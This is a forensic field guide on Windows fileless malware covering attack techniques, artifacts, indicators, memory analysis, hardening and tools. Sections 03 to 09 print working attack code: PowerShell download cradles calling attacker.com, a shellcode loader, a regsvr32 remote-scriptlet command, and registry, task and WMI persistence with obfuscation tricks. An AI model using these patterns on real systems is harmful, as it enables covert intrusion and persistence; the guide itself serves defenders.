BergssonForensics.
In this guide 01 / 16
FIELD REFERENCE 04   /   THREAT INVESTIGATION

Fileless Malware

Techniques, Artifacts, and Detection Strategies for in-memory threats that operate without a disk footprint

Listen to this guide52 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

Platform FocusWindows (x64/x86)
Version1.0 — 2025
Sections16
6+Attack Vectors
9Artifact Sources
3Obfuscation Layers
0Files on Disk
12+IoC Signatures
§ 01

Introduction & Background

This document provides a structured forensic and technical reference for fileless malware — one of the most evasive threat categories encountered in modern digital investigations. It is intended for forensic analysts, security researchers, and investigators conducting endpoint examinations including PC checks in environments such as FiveM, Minecraft servers, or enterprise networks.

Traditional malware analysis relies on a file-centric workflow: locate the executable, extract it, hash it, and match it against known signatures. This model has served the security industry for decades. Fileless malware is a deliberate attack on this model's foundational assumption — that malicious code must exist on disk to cause harm.

By operating exclusively within memory and abusing legitimate Windows utilities, fileless attacks achieve a level of stealth that renders most conventional endpoint security tools ineffective. Understanding these attacks at a technical level is the prerequisite for detecting and investigating them credibly.

Scope of This Document

This reference covers the Windows operating system, where the overwhelming majority of fileless attacks are observed. The techniques described apply to Windows 10, Windows 11, and Windows Server editions. Some behaviors differ between 32-bit and 64-bit processes; notes are provided where relevant.

§ 02

What Is Fileless Malware?

Fileless malware is malicious activity that executes entirely within a system's volatile memory (RAM) and does not write a persistent malicious binary to disk. The term is somewhat imprecise — most fileless attacks do involve some form of file-based initial delivery (a phishing document, a malicious link) — but the key distinction is that no standalone executable payload is ever written to the file system.

The attacker leverages trusted, signed system utilities already present on the operating system to load, decode, and execute a payload that lives only in memory. This approach is categorized under "Living off the Land" (LotL) techniques — abusing the tools the operating system provides, against itself.

Core Characteristics
No disk artifactNo .exe, .dll, or script file is written as a standalone payload; nothing for file scanners to detect or hash
Memory-residentThe payload exists only in RAM; it is destroyed when the machine reboots (unless persistence is established)
LotL executionRelies on PowerShell, WMI, regsvr32, mshta, cscript, and other signed Windows binaries
Script-basedPowerShell, VBScript, JScript, and .NET reflection are common execution carriers
Signature-resistantNo file hash to match; most AV tools are ineffective without behavioral or memory-based detection
Volatile evidencePrimary evidence exists only in RAM; rebooting the machine destroys the payload
Attack Lifecycle Overview

A typical fileless attack follows a multi-stage chain. Understanding the full chain helps investigators identify which stages left artifacts and where to focus forensic effort.

StageDescriptionCommon VectorDisk Artifact?
Initial AccessAttacker gains entry to the endpointPhishing email, malicious Office macro, browser exploitSometimes (document file)
ExecutionInitial code runs and calls a trusted binaryOffice spawning PowerShell or cmd.exeNo
Download / StagingSecond-stage payload fetched from remote URLInvoke-WebRequest, certutil, bitsadminNo (memory only)
In-Memory ExecutionPayload decoded and executed from RAMInvoke-Expression, Assembly::Load()No
Persistence (optional)Mechanism established to survive rebootRegistry run keys, scheduled tasksRegistry / task XML
C2 CommunicationAttacker communicates with compromised hostHTTP/HTTPS, DNS tunnelingNo
ObjectiveData exfiltration, credential theft, lateral movementVariesMinimal
§ 03

Attack Technique — PowerShell Abuse

PowerShell is the most frequently weaponized tool in fileless attack chains. Its deep integration with the .NET framework, its ability to execute code downloaded from remote sources, and its near-universal presence on Windows systems make it an exceptionally capable and available attack platform. Critically, PowerShell can compile and execute .NET code at runtime — allowing a complete payload to run from a string, never touching disk.

Key Abuse Mechanisms
  • -ExecutionPolicy Bypass — overrides the system execution policy without changing it; the most common first flag in PowerShell abuse
  • Invoke-Expression (iex) — evaluates an arbitrary string as code; when combined with a downloaded string, this is the core of most fileless PS attacks
  • Invoke-WebRequest / Invoke-RestMethod — downloads content from remote URLs, including scripts and binary payloads
  • System.Reflection.Assembly::Load() — loads a .NET assembly directly from a byte array in memory, bypassing the normal file-load process
  • -EncodedCommand — accepts a base64-encoded command, concealing the actual instruction from log scraping and string analysis
  • -WindowStyle Hidden / -NonInteractive — suppresses the PowerShell window and user interaction prompts
  • Add-Type — compiles and loads C# code inline within a script, enabling shellcode execution from pure PowerShell
Attack Pattern — Remote Download & Execute
PowerShellpattern_01_cradle.ps1
# Stage 1: policy bypass + silent window + remote cradle
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "
  Invoke-Expression (Invoke-RestMethod -Uri 'https://attacker.com/stage2.ps1')
"

# Shortened alias variant (common in obfuscated samples)
powershell -ep bypass -c "iex(iwr 'https://attacker.com/stage2.ps1' -UseBasicParsing)"

# Stage 2 (retrieved from remote, runs in memory):
$wc = New-Object System.Net.WebClient
$bytes = $wc.DownloadData('https://attacker.com/payload.bin')
[System.Reflection.Assembly]::Load($bytes)  # load .NET assembly from byte array
The download cradle fetches a remote script and executes it entirely in memory via iex. The Assembly::Load() call in stage 2 loads a compiled .NET binary from bytes — no file ever written.
Attack Pattern — Reflective Shellcode Loading
PowerShellpattern_02_shellcode.ps1
# P/Invoke via Add-Type — compile C# inline, call VirtualAlloc, inject shellcode
$code = @"
using System;
using System.Runtime.InteropServices;
public class Loader {
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p);
    [DllImport("kernel32")]
    public static extern IntPtr CreateThread(IntPtr a, uint s, IntPtr f, IntPtr p, uint c, IntPtr id);
    [DllImport("msvcrt")]
    public static extern IntPtr memset(IntPtr d, int c, uint cnt);
}
"@
Add-Type $code  # compiles C# at runtime — no .exe written

$buf  = [Byte[]](0xfc,0x48,0x83,...)  # shellcode bytes
$addr = [Loader]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)  # RWX memory
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
[Loader]::CreateThread(0, 0, $addr, 0, 0, 0)  # execute shellcode thread
This technique compiles C# code inline, allocates executable memory, copies shellcode into it, and executes it as a thread — entirely without touching disk. The shellcode itself is typically a Meterpreter or Cobalt Strike stager.
Investigator Note — Downgrade Attack

Attackers frequently force PowerShell to downgrade to version 2.0 using powershell -Version 2, which disables Script Block Logging and AMSI (Antimalware Scan Interface) — both of which were introduced in v5. Check event logs for PowerShell version 2 execution; it has almost no legitimate use on modern systems.

§ 04

Attack Technique — Registry-Based Persistence

The Windows Registry provides a persistent storage mechanism that attackers exploit to maintain a presence across reboots without placing executable files on disk. By encoding an entire payload — or a loader command — into a registry value, the attacker ensures their code survives system restarts while remaining invisible to file-based scanning.

Common Persistence Key Locations
Run KeysHKCU\Software\Microsoft\Windows\CurrentVersion\Run
Run KeysHKLM\Software\Microsoft\Windows\CurrentVersion\Run
RunOnceHKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
WinlogonHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
ServicesHKLM\SYSTEM\CurrentControlSet\Services\[ServiceName]
COM HijackHKCU\Software\Classes\CLSID\{GUID}\InprocServer32
Registry Persistence Implementation
CMD / Registryregistry_persistence.cmd
:: Create run key with encoded PowerShell payload
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" ^
  /v "WindowsDefenderUpdate" ^
  /t REG_SZ ^
  /d "powershell -WindowStyle Hidden -EncodedCommand <BASE64>" /f

:: Store payload binary in obscure registry location (REG_BINARY)
reg add "HKCU\Software\Microsoft\Cryptography\{random-guid}" ^
  /v "Config" /t REG_BINARY /d [hex-encoded-payload] /f

:: Loader retrieves and executes it:
$data = (Get-ItemProperty -Path "HKCU:\Software\Microsoft\Cryptography\{guid}").Config
$dec  = [System.Text.Encoding]::Unicode.GetString($data)
Invoke-Expression $dec
The run key executes the encoded command on every user login. The second pattern stores the actual payload as binary data in an obscure registry path, retrieved and decoded at runtime.
  • Value naming — attackers mimic legitimate entry names: "WindowsDefenderUpdate", "MicrosoftEdge", "SystemHealthService"
  • Timestamps — registry key last-write times can help place the persistence installation within an attack timeline
  • HKCU vs HKLM — HKCU requires only standard user privileges; HKLM requires admin rights and is therefore more reliable if the attacker has escalated
§ 05

Attack Technique — Scheduled Tasks as Loaders

Windows Task Scheduler allows code execution at login, at defined intervals, on system events, or on network availability. Attackers create tasks that invoke PowerShell or other scripting engines with obfuscated payloads, providing reliable fileless persistence. Tasks are defined as XML files under C:\Windows\System32\Tasks\, but their execution leaves no additional disk artifact.

PowerShell / CMDscheduled_task_persistence.ps1
# Create a scheduled task that runs at user logon
$action  = New-ScheduledTaskAction -Execute "powershell.exe" `
              -Argument "-WindowStyle Hidden -EncodedCommand <BASE64>"
$trigger = New-ScheduledTaskTrigger -AtLogOn
$settings= New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" `
  -Action $action -Trigger $trigger -Settings $settings -RunLevel Highest

# Alternative via schtasks.exe (often less logged)
schtasks /create /tn "WindowsDefenderCacheMaintenance" /tr ^
  "powershell -ep bypass -W H -Enc <BASE64>" /sc onlogon /ru SYSTEM /f
Tasks are named to resemble legitimate Windows maintenance jobs. The /ru SYSTEM flag attempts SYSTEM-level execution if the attacker has elevated privileges.
Investigation Focus

Enumerate all scheduled tasks and examine the action command line of each. Any task invoking powershell.exe, cmd.exe, wscript.exe, mshta.exe, or cscript.exe with encoded or obfuscated parameters is highly suspicious. Check the task creation timestamp via Event ID 4698 in the Windows Security log.

§ 06

Attack Technique — Regsvr32 Abuse

regsvr32.exe is a signed Windows binary used to register and unregister COM components. A well-documented fileless technique — known as Squiblydoo — exploits its ability to download and execute a remote COM scriptlet (.sct) file without writing anything to disk. Because regsvr32.exe is Microsoft-signed, it bypasses AppLocker and Software Restriction Policies in default configurations.

CMDsquiblydoo.cmd
:: Squiblydoo — remote scriptlet execution via regsvr32
regsvr32 /s /n /u /i:https://attacker.com/payload.sct scrobj.dll

:: Parameter breakdown:
::   /s         — silent (suppress all dialogs)
::   /n         — do not call DllRegisterServer
::   /u         — triggers DllInstall (with /i parameter)
::   /i:[url]   — URL or path for scriptlet to install
::   scrobj.dll — Windows Script Component runtime (handles .sct parsing)

:: The .sct scriptlet format (XML-based, executes arbitrary JScript/VBScript):
<?XML version="1.0"?>
<scriptlet>
  <registration progid="TESTING" classid="{AAAA...}">
    <script language="JScript">
      <![CDATA[ var r = new ActiveXObject("WScript.Shell");
        r.Run("powershell -ep bypass -Enc <BASE64>", 0, false); ]]>
    </script>
  </registration>
</scriptlet>
The scrobj.dll handler fetches the remote .sct file, parses its XML, and executes the embedded JScript or VBScript payload in-process. Nothing is written to disk.

Related binaries subject to similar abuse include: mshta.exe (runs remote .hta files), cmstp.exe (COM+ Service Template — can load remote INF scripts), odbcconf.exe (executes DLL via REGSVR action), and wmic.exe (can invoke remote XSL stylesheets via /format).

§ 07

Attack Technique — WMI Abuse

Windows Management Instrumentation (WMI) is a powerful management framework that attackers exploit for both execution and persistence. WMI subscriptions allow code to execute in response to system events — reboots, user logons, process creation, time triggers — and run as a WMI Provider Host process, making the true origin difficult to identify.

WMI Event Subscription Persistence
PowerShell / WMIwmi_persistence.ps1
# WMI permanent event subscription — persists across reboots, stored in WMI repository

# 1. Event Filter — defines the trigger condition
$filter = Set-WmiInstance -Namespace root\subscription `
  -Class __EventFilter -Arguments @{
    Name           = "SystemHealthMonitor"
    EventNamespace = "root\cimv2"
    QueryLanguage  = "WQL"
    Query          = "SELECT * FROM __InstanceModificationEvent WITHIN 60
                      WHERE TargetInstance ISA 'Win32_LocalTime'
                      AND TargetInstance.Hours = 12"  # triggers at noon
  }

# 2. Event Consumer — the action to execute
$consumer = Set-WmiInstance -Namespace root\subscription `
  -Class CommandLineEventConsumer -Arguments @{
    Name            = "SystemHealthExecutor"
    CommandLineTemplate = "powershell -ep bypass -W H -Enc <BASE64>"
  }

# 3. Filter-to-Consumer Binding — links them
Set-WmiInstance -Namespace root\subscription `
  -Class __FilterToConsumerBinding -Arguments @{
    Filter   = $filter
    Consumer = $consumer
  }

# Stored in WMI repository: C:\Windows\System32\wbem\repository\
# Not a file on disk in the traditional sense — invisible to most scanners
WMI subscriptions are stored in the WMI repository binary database, not as readable files. Standard antivirus tools typically cannot inspect them. Execution appears as WmiPrvSE.exe spawning cmd or powershell.
Investigation

Use Get-WMIObject -Namespace root\subscription -Class __EventFilter, __EventConsumer, and __FilterToConsumerBinding to enumerate active subscriptions. Any subscription not recognizable as a legitimate product (e.g., some security software uses WMI subscriptions) should be investigated. The WMI repository path is C:\Windows\System32\wbem\repository\.

§ 08

Attack Technique — Process Injection

Process injection is the technique of inserting malicious code into the memory space of a legitimate running process, then executing it from within that process's context. This allows the malware to inherit the host process's security token, network identity, and trusted status — making it extremely difficult to distinguish from legitimate activity.

Common Injection Methods
MethodAPI Calls UsedDescriptionDetection Difficulty
Classic DLL InjectionOpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThreadWrites a DLL path into target process memory and triggers it via a remote threadMedium — DLL must exist on disk
Reflective DLL InjectionSame as above, but DLL loaded from memoryDLL contains its own loader; no LoadLibrary call needed; no disk artifactHigh — no file reference
Process HollowingCreateProcess (suspended), NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContextSpawns a legitimate process in suspended state, replaces its memory with payload, resumesHigh — legitimate process name covers payload
APC InjectionOpenThread, QueueUserAPCQueues an Asynchronous Procedure Call to a thread in the target processHigh — no new threads created
Atom BombingGlobalAddAtom, NtQueueApcThreadStores shellcode in global atom table, forces target to copy and execute itVery High — uses legitimate OS mechanisms
  • Common injection targets: explorer.exe, svchost.exe, lsass.exe, notepad.exe, RuntimeBroker.exe
  • Memory regions with RWX (read-write-execute) permissions in otherwise benign processes are a strong indicator
  • Unsigned code executing from heap or stack memory in a normally clean process is detectable via memory forensics
§ 09

Encoding & Encryption Techniques

Obfuscation is a foundational component of virtually all fileless malware deployments. Attackers layer multiple encoding and encryption techniques to defeat automated detection, sandbox analysis, and manual investigation. Each layer must be unwrapped during forensic analysis.

Layer 1 — Base64 Encoding
PowerShellbase64_obfuscation.ps1
# Original plaintext command:
Invoke-Expression (Invoke-RestMethod 'https://malicious.com/stage2.ps1')

# Encode for -EncodedCommand (must be UTF-16LE, not UTF-8):
$bytes  = [System.Text.Encoding]::Unicode.GetBytes('Invoke-Expression (...)')
$enc    = [Convert]::ToBase64String($bytes)
# Result: SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABJ...

# Execute:
powershell -EncodedCommand SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABJ...

# To decode during analysis:
[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($enc))
Note: PowerShell's -EncodedCommand requires UTF-16LE (little-endian Unicode) encoding, not UTF-8. A common analyst mistake is decoding with UTF-8, which produces garbage output.
Layer 2 — String Manipulation & Concatenation
PowerShellstring_obfuscation.ps1
# Character code reconstruction — bypasses simple string matching
$cmd = [char]73+[char]110+[char]118+[char]111+[char]107+[char]101  # "Invoke"
iex ($cmd + "-Expression ...")

# String reversal
$rev = "noisserp-xE-ekovnI" ; iex (-join $rev[-1..-$rev.Length])

# Format string substitution
$x   = "{0}{1}{2}" -f 'Inv', 'oke-', 'Expression'
iex $x

# Backtick insertion (ignored by PowerShell parser)
i`e`x("I`nv`oke-Expressio`n ...")
These techniques are specifically designed to defeat YARA rules and keyword-based log alerts. Automated deobfuscation tools like PSDecode and PowerDecode can help analysts reconstruct the original command.
Layer 3 — AES Encryption
PowerShellaes_payload.ps1
# AES-256 encrypted payload — decrypted and executed in memory
$key     = [byte[]](0x4A,0x2F,0xC8,0x91,0x3E,0xD2,0x7A,0x5B,...)  # 32 bytes
$iv      = [byte[]](0x9E,0x1D,0xF3,0x42,0x88,0xC6,0x0A,0x7F,...)  # 16 bytes
$payload = [Convert]::FromBase64String('<AES-256-CBC-encrypted-base64-blob>')

$aes     = [System.Security.Cryptography.Aes]::Create()
$aes.Key  = $key ; $aes.IV = $iv ; $aes.Mode = 'CBC' ; $aes.Padding = 'PKCS7'
$dec     = $aes.CreateDecryptor()
$code    = $dec.TransformFinalBlock($payload, 0, $payload.Length)

# Execute: option A — as script string
iex ([System.Text.Encoding]::Unicode.GetString($code))

# Execute: option B — as .NET assembly loaded from bytes
$asm = [System.Reflection.Assembly]::Load($code)
$asm.EntryPoint.Invoke($null, $null)
More sophisticated samples derive the key from an environmental variable, machine GUID, or a remote endpoint — causing the payload to fail in sandboxes that lack the target environment's specific characteristics.
§ 10

Forensic Artifacts & Investigation Points

Despite its design intent to leave no trace, fileless malware generates investigable artifacts across multiple data sources. A thorough investigation must systematically examine each of the following. The order below roughly reflects investigation priority for a time-constrained PC check.

PriorityArtifactExact LocationWhat to Examine
P1 PowerShell History %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt Full command history per user; look for bypass flags, iex, encoded commands, wget to external URLs
P1 PS Operational Log Event Viewer → Apps & Services Logs → Microsoft → Windows → PowerShell → Operational Script block logs (EID 4104), module loads (EID 4103); captures decoded content even when encoded on command line
P1 Windows Security Log Event Viewer → Windows Logs → Security EID 4688 (process creation with cmdline), EID 4698/4702 (task created/modified), EID 4648 (explicit credential logon)
P2 Running Process Tree Task Manager → Details, or Sysinternals Process Explorer Anomalous parent-child chains; look for browser/game/Office spawning powershell, wscript, or cmd
P2 Scheduled Tasks C:\Windows\System32\Tasks\ (XML files) + Task Scheduler MMC Action command lines; creation timestamps; tasks with encoded PS arguments; tasks named to mimic Windows components
P2 Registry Run Keys HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run[Once] Values containing powershell, cmd, wscript, mshta with encoded or obfuscated arguments; check last-write timestamps
P2 WMI Subscriptions root\subscription namespace: __EventFilter, __EventConsumer, __FilterToConsumerBinding Enumerate all three classes; any CommandLineEventConsumer with obfuscated command is highly suspicious
P3 SRUM Database C:\Windows\System32\sru\SRUDB.dat (ESE database) Application execution history with timestamps, network usage per process; parse with srum-dump or WinSearchDBAnalyzer
P3 Prefetch Files C:\Windows\Prefetch\POWERSHELL.EXE-*.pf Execution timestamps, run count, files accessed; confirms PS ran even if logs were cleared
P3 AmCache / ShimCache AmCache.hve: C:\Windows\AppCompat\Programs\Amcache.hve — ShimCache: SYSTEM hive Execution history of binaries including regsvr32, mshta; timestamps and file metadata even after deletion
P3 Clipboard History Windows Clipboard History (Win+V), ClipboardSvc Copied script fragments, commands, URLs, encoded strings used during manual staging or testing
P3 Network Artifacts Windows Firewall log: C:\Windows\System32\LogFiles\Firewall\pfirewall.log + DNS cache Outbound connections from powershell.exe, regsvr32.exe, or unusual processes; DNS queries to unknown domains; ipconfig /displaydns
§ 11

Memory Analysis

Memory forensics is the cornerstone of fileless malware investigation. Since the payload never reaches disk, a RAM dump captured while the system is still running may be the only source of the actual malicious code. Never reboot a suspected system before capturing a memory image.

Memory Acquisition Tools
ToolMethodOutput FormatNotes
WinPmemKernel driverRaw / AFF4Open source; best for modern Windows 10/11
DumpItKernel driverRaw / DMPSimple single-executable; minimal dependencies
Magnet RAM CaptureKernel driverRawFree; GUI available; trusted in LE contexts
FTK Imager (memory)Kernel driverRaw / AD1Full forensic chain of custody support
Belkasoft Live RAMKernel driverRawAlso captures pagefile and hibernation file
Volatility 3 — Key Analysis Commands
Shellvolatility3_commands.sh
# Process listing and relationships
vol -f mem.dmp windows.pslist               # flat process list
vol -f mem.dmp windows.pstree               # parent-child tree (essential)
vol -f mem.dmp windows.cmdline              # full command line for each process
vol -f mem.dmp windows.dlllist              # DLLs loaded per process

# Code injection detection
vol -f mem.dmp windows.malfind              # find VAD regions with RWX + MZ headers
vol -f mem.dmp windows.hollowprocesses      # detect process hollowing
vol -f mem.dmp windows.ldrmodules          # detect hidden/unlisted DLLs

# Network investigation
vol -f mem.dmp windows.netscan             # active + recently closed connections
vol -f mem.dmp windows.netstat             # current socket table

# Memory dump of specific process for further analysis
vol -f mem.dmp windows.memmap --pid 1234 --dump
vol -f mem.dmp windows.dumpfiles --pid 1234

# String extraction from process memory
vol -f mem.dmp windows.strings --pid 1234 | grep -iE "http|base64|powershell|iex"

# Registry hive analysis from memory
vol -f mem.dmp windows.registry.hivelist
vol -f mem.dmp windows.registry.printkey --key "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Run pstree and cmdline first to orient the investigation, then malfind to identify injection candidates. Dump suspicious processes and perform further string analysis on the raw memory regions.
What Malfind Reports

windows.malfind identifies memory regions that are marked as executable, contain no mapped file reference (i.e., not loaded from disk), and optionally start with a PE header (MZ signature). These are strong indicators of injected shellcode or a reflectively loaded DLL. Not every result is malicious — some legitimate software uses JIT compilation — but results from unexpected processes (explorer, svchost, game executables) warrant immediate investigation.

§ 12

Indicators of Compromise

The following table catalogues the most reliable IoCs for fileless malware activity. Severity ratings assume no known-good explanation exists for the indicator in the environment being investigated.

IndicatorSourceSeverityContext & Notes
-ExecutionPolicy Bypass in PS historyPSReadLine historyHIGHStandard user environments should never require policy bypass; admin tools may, but rarely
iex or Invoke-Expression with downloaded contentPS history / Event logCRITICALEvaluating a downloaded string as code is the core of nearly every fileless PS attack
-EncodedCommand with a long base64 valuePS history / proc cmdlineHIGHIntentional obfuscation of commands; decode and inspect the plaintext before assessing
powershell -Version 2 invocationEvent log / proc cmdlineCRITICALDisables AMSI and script block logging; no legitimate use on modern Windows
Browser, game, or Office process spawning PowerShellEvent log EID 4688 / pstreeCRITICALAbnormal parent-child chain; hallmark of macro or browser exploit initial access
regsvr32 making outbound network connectionFirewall log / netmonCRITICALNo legitimate use case for regsvr32 fetching a remote URL
mshta.exe spawning child process or making network callEvent log / netmonCRITICALmshta is routinely abused for HTA-based staging; should be blocked on most endpoints
Scheduled task with encoded PS argumentTask XML / Event EID 4698HIGHPersistence mechanism; examine creation time and correlate with initial access window
WMI CommandLineEventConsumer subscription presentWMI namespace queryHIGHFew legitimate products use this; security tools sometimes do — verify against known-good list
Registry run key with encoded command valueRegistry / Event EID 4657HIGHPersistence; compare value name against known-good baseline to detect masquerading
Malfind hits in svchost, explorer, or game processVolatility malfindCRITICALRWX memory with MZ header in unexpected process = injected PE; dump and disassemble
PowerShell outbound connection to non-CDN IPFirewall log / netscanMEDIUMCorrelate with execution time and PS history/event logs to confirm staging activity
Assembly::Load() in script block log (EID 4104)PS Operational event logCRITICALIn-memory .NET assembly loading; extract the byte array argument for further analysis
§ 13

Detection Challenges

Understanding why fileless malware evades detection is as important as knowing how to find it. Each challenge below represents a deliberate design decision by attackers — and a gap that defenders must specifically address.

01
No File Signatures
Antivirus engines match files against hash databases and byte-pattern signatures. A payload that never exists as a file produces no hash and matches no signature. Even next-gen AV with on-access scanning has nothing to scan.
AV evasionhash-based detection
02
Blends with Legitimate Activity
PowerShell, WMI, and Task Scheduler run continuously in healthy Windows environments. Flagging all PowerShell execution would produce overwhelming false positives. Attackers exploit this noise floor deliberately.
false positive pressureLotL
03
Volatile Evidence
The payload exists only in RAM. A reboot — by the user, by an update, or by the attacker as cleanup — permanently destroys the primary evidence. This creates urgent pressure to acquire memory before any system action.
evidence preservationRAM forensics
04
Logging Disabled by Default
Script Block Logging (EID 4104), Module Logging (EID 4103), and process creation command-line auditing (EID 4688) are all disabled by default on Windows. Without them, the investigation has almost no visibility into what ran.
log gapspolicy config
05
Anti-Sandbox Techniques
Payloads can check for VM artifacts (registry keys, process names, CPUID responses, screen resolution), user activity patterns, or derive decryption keys from machine-specific values — causing them to fail silently in sandboxes and automated analysis environments.
sandbox evasionenv-keyed payloads
06
Trusted Binary Trust Chain
Execution flows through signed Microsoft binaries. Security products that rely on binary reputation (most do) see only powershell.exe, regsvr32.exe, or wmic.exe — all of which have the highest possible trust scores.
signed binary abusereputation bypass
§ 14

Defensive Strategies & Hardening

Effective defense requires a layered approach. The controls below are listed in approximate order of impact-to-effort ratio. None alone is sufficient; the combination creates the visibility and friction necessary to detect and disrupt fileless attacks.

Logging & Visibility (Implement First)
ControlImplementationEvents Enabled
PS Script Block LoggingGPO: Computer Config → Admin Templates → Windows Components → Windows PowerShell → Turn on Script Block LoggingEID 4104 — captures decoded script blocks even when encoded on cmdline
PS Module LoggingSame GPO path → Turn on Module Logging → set module name to *EID 4103 — logs all module function calls and their parameters
Process Creation AuditingGPO: Security Settings → Advanced Audit Policy → Detailed Tracking → Audit Process Creation → Enable + include cmdline in eventsEID 4688 with full command line — essential for parent-child analysis
Scheduled Task AuditingGPO: Security Settings → Advanced Audit Policy → Object Access → Audit Other Object Access EventsEID 4698 (task created), 4702 (task updated), 4699 (task deleted)
Registry AuditingEnable auditing on specific run keys via regedit → key properties → permissions → auditingEID 4657 — registry value set; captures persistence installation
Attack Surface Reduction
  • PowerShell Constrained Language Mode — restricts PS to approved .NET types; blocks Add-Type, Assembly::Load(), and most fileless execution patterns; enforce via WDAC
  • Windows Defender Application Control (WDAC) — policy-based binary execution control; more robust than AppLocker; blocks unsigned scripts and restricts LotL binaries
  • AMSI Integration — ensure AMSI (Antimalware Scan Interface) is enabled and not disabled; block amsi.dll patching attempts via memory protection controls
  • Block regsvr32 outbound connections — host-based firewall rule blocking regsvr32.exe from making TCP connections eliminates the Squiblydoo technique entirely
  • Disable WScript / CScript for standard users — rename or restrict access to wscript.exe and cscript.exe if VBScript/JScript execution is not required
  • Restrict mshta.exe — HTA execution has virtually no legitimate end-user use case; blocking mshta eliminates an entire class of initial access vectors
  • Enforce signed PS scripts — Set-ExecutionPolicy AllSigned requires all scripts to carry a valid code-signing certificate, raising the cost of script-based attacks significantly
Active Investigation Checklist
Bergsson Forensics — Minimum Viable PC Check

For time-constrained investigations in gaming or competitive environments, prioritize these steps in order: (1) Export full PS history file. (2) Export PowerShell Operational event log and Security event log. (3) Capture and review running process tree with full command lines. (4) Enumerate all scheduled tasks and inspect action commands. (5) Check registry run keys for all users. (6) If any of the above show indicators, acquire a memory image immediately before any further system interaction.

§ 15

Tools Reference

ToolCategoryPrimary UseSource
Volatility 3Memory AnalysisRAM dump analysis: processes, injection, networks, stringsOpen source — volatilityfoundation.org
RekallMemory AnalysisAlternative memory analysis framework; strong profile supportOpen source
Process Hacker / System InformerLive Process AnalysisReal-time process tree, memory maps, handles, network; detects injected code via color codingOpen source
Sysinternals SuiteLive InvestigationAutoruns (persistence), Process Monitor (live activity), TCPView (connections)Microsoft — learn.microsoft.com/sysinternals
PSDecodePS DeobfuscationAutomatically de-obfuscates multi-layer PowerShell scriptsOpen source — GitHub: @ahhhhhhhhh
CyberChefDecoding / AnalysisBase64 decode, AES decrypt, XOR, format conversion; web-basedGCHQ — gchq.github.io/CyberChef
KAPEArtifact CollectionTargeted forensic artifact collection — PS logs, event logs, registry, prefetch, SRUMKroll — ericzimmerman.github.io
Eric Zimmerman ToolsArtifact ParsingParse AmCache, ShimCache, prefetch, scheduled tasks, registry (Timeline Explorer)Free — ericzimmerman.github.io
srum-dumpSRUM AnalysisParse and export SRUDB.dat to readable spreadsheet formatOpen source — GitHub: markbaggett
WinPmemMemory AcquisitionLive memory acquisition on Windows 10/11; minimal footprintOpen source — GitHub: Velocidex
Get-WinEvent (PS)Log CollectionNative PowerShell cmdlet for event log export and filteringBuilt-in Windows
Sigcheck (Sysinternals)Binary VerificationVerify code signing status and VirusTotal integration for running binariesMicrosoft — Sysinternals
§ 16

Conclusion

Fileless malware represents a sustained and deliberate evolution in attacker tradecraft. By leveraging legitimate system tools, operating entirely in memory, and applying layered obfuscation, these attacks defeat the file-centric security model that underpins most endpoint defenses. For forensic investigators, they demand an equivalent evolution in methodology — away from file scanning and toward behavioral analysis, log correlation, and memory forensics.

The techniques documented here — from PowerShell cradles to WMI subscriptions to process injection — share a common structural principle: they abuse the operating system's own capabilities against itself. This means the artifacts they leave are themselves embedded in legitimate system data sources: event logs, the WMI repository, the process table, registry hives, and RAM. Investigating these sources systematically, with the right tools and a clear understanding of what anomalous behavior looks like, is the foundation of effective fileless malware investigation.

Three principles define successful detection of these threats. First, logging must be configured aggressively before an incident — Script Block Logging, process creation auditing, and task auditing are all disabled by default and must be explicitly enabled. Second, memory must be acquired before anything else changes on a suspected system — the payload vanishes on reboot. Third, behavioral baselines matter — the difference between a malicious PowerShell invocation and a legitimate one often comes down to context: who spawned it, what it connected to, and what it tried to execute.

Final Note — Bergsson Forensics

This document represents a point-in-time reference. The fileless malware landscape evolves continuously as attackers respond to improved detection capabilities. Investigators are encouraged to supplement this reference with current threat intelligence from sources including MITRE ATT&CK (particularly the Defense Evasion and Execution tactic trees), the SANS Internet Stormcast, and vendor threat intelligence feeds. The techniques described here map primarily to MITRE ATT&CK techniques T1059 (Command and Scripting Interpreter), T1546 (Event Triggered Execution), T1547 (Boot/Logon Autostart), T1055 (Process Injection), and T1112 (Modify Registry).